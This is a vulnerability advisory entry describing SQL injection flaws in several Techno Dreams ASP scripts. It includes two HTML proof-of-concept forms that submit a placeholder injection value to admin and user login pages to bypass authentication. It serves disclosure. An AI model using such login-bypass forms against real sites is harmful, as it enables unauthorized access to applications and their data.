Techno Dreams Multiple Scripts Multiple SQL Injection Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Techno Dreams multiple SQL injection vulnerabilitie


                                                source: http://www.securityfocus.com/bid/15215/info

Multiple Techno Dreams scripts are prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the applications to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the applications, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

&#60;html&#62;
&#60;h1&#62;Techno Dreams Announcement - Guestbook - WebDirectory Script
Login-Bypass PoC - Kapda `s advisory &#60;/h1&#62;
&#60;p&#62; Discovery and exploit by farhadkey [at} kapda.ir&#60;/p&#62;
&#60;p&#62;&#60;a href=&#34;http://www.kapda.ir/&#34;&#62; Kapda - Security Science Researchers
Institute
of Iran&#60;/a&#62;&#60;/p&#62;
&#60;form method=&#34;POST&#34; action=&#34;http://www.example.com/admin/login.asp&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;userid&#34; value=&#34;[SQL Injection]&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;passwd&#34; value=&#34;1&#34;&#62;
&#60;input type=&#34;submit&#34; value=&#34;Submit&#34; name=&#34;submit&#34;&#62;
&#60;/form&#62;&#60;/html&#62;

&#60;html&#62;
&#60;h1&#62;Techno Dreams Mailing List Script Login-Bypass PoC - Kapda `s
advisory &#60;/h1&#62;
&#60;p&#62; Discovery and exploit by farhadkey [at} kapda.ir&#60;/p&#62;
&#60;p&#62;&#60;a href=&#34;http://www.kapda.ir/&#34;&#62; Kapda - Security Science Researchers
Institute
of Iran&#60;/a&#62;&#60;/p&#62;
&#60;form method=&#34;POST&#34; action=&#34;http://www.example.com/login.asp&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;userid&#34; value=&#34;[SQL Injection}&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;passwd&#34; value=&#34;1&#34;&#62;
&#60;input type=&#34;submit&#34; value=&#34;Submit&#34; name=&#34;submit&#34;&#62;
&#60;/form&#62;&#60;/html&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1